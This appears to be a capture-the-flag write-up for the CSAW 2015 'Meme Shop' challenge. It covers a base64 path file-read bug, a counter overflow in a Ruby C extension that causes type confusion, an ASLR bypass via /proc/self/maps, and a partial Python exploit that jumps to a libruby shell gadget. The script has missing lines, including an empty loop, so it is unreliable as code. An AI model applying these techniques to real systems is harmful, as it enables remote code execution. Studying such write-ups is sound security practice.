T i s
z k
Sep 20 2015

CSAW 2015 Meme Shop Statement
Description: only dwn knows what the meme is! pwn this service to find out what only he knows!
dwn: please tell us the meme....
nc 1337

Information Gathering

First we were prompted with an option menu for memes we could 'buy'.

so... lets see what is on the menu
[p]rint receipt from confirmation number
[n]ic cage (RARE MEME)
d[o]ge (OLD MEME, ON SALE)
n[y]an cat
[l]ike a sir
[m]r skeletal (doot doot)
[t]humbs up
[c]heck out
Most options would just output a meme.
> t
Upon [c]heckout we were given an receipt which was a base64 encoded tmp file. We could feed it back through using the [p] option to print the contents of the receipt which reside in a tmp file.
> c
ur receipt is at L3RtcC9tZW1lMjAxNTA5MjItNzIzMS05aGl6OHE=
b64decoded: /tmp/meme20150922-7231-9hiz8q
We could use this to read any file on the system.
base64('/etc/passwd') => L2V0Yy9wYXNzd2Q=
> p
ok, let me know your order number bro: L2V0Yy9wYXNzd2Q=
ok heres ur receipt or w/e
I used this information to get the ruby script that was running, the Mememachine C extension, and all the libraries it was using.
The ruby script memeshop.rb
The custom C extension mememachine.so
The value of /proc/sys/kernel/randomize_va_space was '2'.

Reversing the Extension

The functions admeme, addskeletal, and checkout are called within the script but not defined, meaning they must be functions within the Mememachine module.

I noticed a few things when reversing the Mememachine module. When a normal meme was added a structure was made with 8 bytes of blank space, a function pointer to the function gooder, and 8 more bytes of space. A pointer to this structure was added to a struct array memerz[256]. The byte counter that indexed this array was then increased by one. Then the type, 0 for normal or 1 for skeletal, was added to the types[256] array, and the dword types_tracker was increased by one.

When a skeletal meme was added, a similar structure to a normal meme was made but with 256 bytes of user controlled values allocated before the function pointer, so the function pointer was at base+264 in the skeletal meme instead of base+8 in the normal meme.

Checkout loops through all of the meme pointers in memerez while referencing the type array for each type, and based on the type it calls the function pointer at base+8 for normal memes or base+264 for skeletal memes.

Using this information I determined that we could overflow the counter variable. So if I added more than 256 memes to the memerez array, the first meme in the memerez array would be overwritten with whatever meme we added next. Remember the types_tracker is a dword, so the type will be wrong for the newly created meme in the first position of the memerez array once we overflow the counter variable.

Once 256 memes have been added to the memerez array and counter is reset to 0, we add the skeletal meme. The type is still computed as normal so when the jump to the function pointer occurs in the checkout function it calls whatever we placed in within the text area of the skeletal meme. Giving us complete control of the instruction pointer. Now all we have to do is find the correct place to jump!

Writing an Exploit

So to control rip we must:
- Make 256 normal memes, overflowing the counter variable
- Create a skeletal meme
- "A"*8 + struct.pack("<Q", rip) + struct.pack("<Q", param)
- Call checkout [c]

ASLR was enabled along with NX so this was somewhat challenging. To defeat ASLR I used the file read from earlier on /proc/self/maps to dump all of the memory addresses of the current process. Downloaded the version of libruby that the program was using using the file read from earlier. Then found this awesome gadget in libruby that calls /bin/sh.

Setting the function pointer to the libruby_base from /proc/self/maps plus the offset of this gadget 0x1129f0 was enough to get a shell.

Exploit Code

import struct
import socket
import telnetlib
from base64 import b64encode

def readuntil(f, delim=' '):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

def interact(s):
    t = telnetlib.Telnet()
    t.sock = s

def pa(v):
    return struct.pack("<I", v)

def u(v):
    return struct.unpack("<I", v)[0]

def ap(rip, param):
    pad = "A"*8
    f = struct.pack("<Q", rip)
    p = struct.pack("<I", param)
    return b64encode(pad + f + p)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('', 1337))
f = s.makefile('rw', bufsize=0)

#Defeat aslr
readuntil(f, 'quit\n')
f.write(b64encode("/proc/self/maps") + "\n")
proc = readuntil(f, "[vsyscall]\n")

libraries = proc.split("\n")

libruby_entry    = libraries[50]
libruby_base     = int(libruby_entry.split(" ")[0].split("-")[0], 16)
proc_sh          = libruby_base + 0x1129f0 #libruby magic address

#Fill memerez with 256 normal memes, overflow counter
for i in xrange(256):

#Upload skeletal meme, overwriting function pointers for gooder and badder
payload = "m\n"
payload += ap(proc_sh, 10) + "\n"

#Trigger the type confusion with checkout
trigger = "c\n"